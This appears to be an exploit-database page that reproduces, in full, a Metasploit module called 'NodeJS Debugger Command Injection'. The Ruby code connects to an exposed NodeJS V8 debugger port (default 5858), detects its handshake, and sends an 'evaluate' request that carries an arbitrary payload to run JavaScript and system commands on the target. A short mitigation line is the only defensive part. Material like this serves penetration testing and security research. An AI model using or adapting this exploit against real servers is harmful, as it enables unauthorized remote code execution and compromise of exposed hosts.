header-logo
Suggest Exploit
vendor:
NodeJS
by:
Patrick Thomas
N/A
CVSS
N/A
Command Injection
78
CWE
Product Name: NodeJS
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: nodejs
2016

NodeJS Debugger Command Injection

This module uses the "evaluate" request type of the NodeJS V8 debugger protocol (version 1) to evaluate arbitrary JS and call out to other system commands. The port (default 5858) is not exposed non-locally in default configurations, but may be exposed either intentionally or via misconfiguration.

Mitigation:

Ensure that the NodeJS debugger port is not exposed to the public.
Source

Exploit-DB raw data:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  MESSAGE_HEADER_TEMPLATE   = "Content-Length: %{length}\r\n\r\n"

  def initialize(info={})
    super(update_info(info,
      'Name'           => "NodeJS Debugger Command Injection",
      'Description'    => %q{
        This module uses the "evaluate" request type of the NodeJS V8
        debugger protocol (version 1) to evaluate arbitrary JS and
         call out to other system commands. The port (default 5858) is
        not exposed non-locally in default configurations, but may be
        exposed either intentionally or via misconfiguration.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
      'References'     =>
        [
          [ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
          [ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
        ],
      'Targets'        =>
        [
          ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Aug 15 2016",
      'DefaultTarget'  => 0)
    )

    register_options(
      [
        Opt::RPORT(5858)
      ])
  end

  def make_eval_message
    msg_body = { seq: 1,
                 type: 'request',
                 command: 'evaluate',
                 arguments: { expression: payload.encoded,
                              global: true,
                              maxStringLength:-1
                            }
                }.to_json
    msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
    msg_header + msg_body
  end

  def check
    connect
    res = sock.get_once
    disconnect

    if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
      vprint_status("Got debugger handshake:\n#{res}")
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    connect
    # must consume incoming handshake before sending payload
    buf = sock.get_once
    msg = make_eval_message
    print_status("Sending #{msg.length} byte payload...")
    vprint_status("#{msg}")
    sock.put(msg)
    buf = sock.get_once

    if buf.include? '"command":"evaluate","success":true'
      print_status("Got success response")
    elsif buf.include? '"command":"evaluate","success":false'
      print_error("Got failure response: #{buf}")
    else
      print_error("Got unexpected response: #{buf}")
    end
  end

end